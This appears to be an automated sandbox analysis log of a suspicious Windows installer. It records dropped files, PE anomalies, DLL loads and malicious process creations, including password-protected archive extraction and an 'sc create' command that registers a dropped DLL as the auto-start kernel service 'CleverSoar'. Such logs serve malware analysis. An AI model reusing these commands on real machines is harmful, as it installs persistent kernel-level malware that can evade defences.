Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y locale3.dat -pasfasdf79yf9layslofsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= autoJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: rstrtmgr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: slc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: rstrtmgr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: sfc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: sfc_os.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: explorerframe.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpWindow found: window name: TMainFormJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic file information: File size 5707631 > 1048576
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: c:\builddir\threat~1.26\drivers\tfsysmon\objfre_wnet_amd64\amd64\TfSysMon.pdb source: 7zr.exe, 0000000C.00000003.2140314078.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe, 0000000C.00000003.2140505560.0000000001240000.00000004.00001000.00020000.00000000.sdmp, tProtect.dll.12.dr
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B757D0 GetCurrentProcessId,GetCurrentThreadId,LoadLibraryW,GetProcAddress,FreeLibrary,GetTickCount,QueryPerformanceCounter,GetTickCount,10_2_00B757D0
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: real checksum: 0x0 should be: 0x57286f
Source: update.vac.6.drStatic PE information: real checksum: 0x0 should be: 0x379bd6
Source: update.vac.2.drStatic PE information: real checksum: 0x0 should be: 0x379bd6
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.5.drStatic PE information: real checksum: 0x0 should be: 0x343a15
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.0.drStatic PE information: real checksum: 0x0 should be: 0x343a15
Source: hrsw.vbc.6.drStatic PE information: real checksum: 0x0 should be: 0x379bd6
Source: tProtect.dll.12.drStatic PE information: real checksum: 0x1eb0f should be: 0xfc66
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.exeStatic PE information: section name: .didata
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.0.drStatic PE information: section name: .didata
Source: update.vac.2.drStatic PE information: section name: .00cfg
Source: update.vac.2.drStatic PE information: section name: .voltbl
Source: update.vac.2.drStatic PE information: section name: .=~
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp.5.drStatic PE information: section name: .didata
Source: 7zr.exe.6.drStatic PE information: section name: .sxdata
Source: is-0F5J3.tmp.6.drStatic PE information: section name: .xdata
Source: hrsw.vbc.6.drStatic PE information: section name: .00cfg
Source: hrsw.vbc.6.drStatic PE information: section name: .voltbl
Source: hrsw.vbc.6.drStatic PE information: section name: .=~
Source: update.vac.6.drStatic PE information: section name: .00cfg
Source: update.vac.6.drStatic PE information: section name: .voltbl
Source: update.vac.6.drStatic PE information: section name: .=~
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA286EB push ecx; ret 6_2_6CA286FE
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6C8D0F00 push ss; retn 0001h6_2_6C8D0F0A
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CAF6F10 push eax; ret 6_2_6CAF6F2E
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA5B9F4 push 004AC35Ch; ret 6_2_6CA5BA0E
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CAF7290 push eax; ret 6_2_6CAF72BE
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF45F4 push 00B9C35Ch; ret 10_2_00AF460E
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B8FB10 push eax; ret 10_2_00B8FB2E
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B8FE90 push eax; ret 10_2_00B8FEBE
Source: update.vac.2.drStatic PE information: section name: .=~ entropy: 7.19316283520878
Source: hrsw.vbc.6.drStatic PE information: section name: .=~ entropy: 7.19316283520878
Source: update.vac.6.drStatic PE information: section name: .=~ entropy: 7.19316283520878
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Program Files (x86)\Windows NT\hrsw.vbcJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Program Files (x86)\Windows NT\trash (copy)Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeFile created: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpJump to dropped file
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeFile created: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpJump to dropped file
Source: C:\Program Files (x86)\Windows NT\7zr.exeFile created: C:\Program Files (x86)\Windows NT\tProtect.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Program Files (x86)\Windows NT\is-0F5J3.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Program Files (x86)\Windows NT\7zr.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Program Files (x86)\Windows NT\hrsw.vbcJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpFile created: C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\update.vacJump to dropped file
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
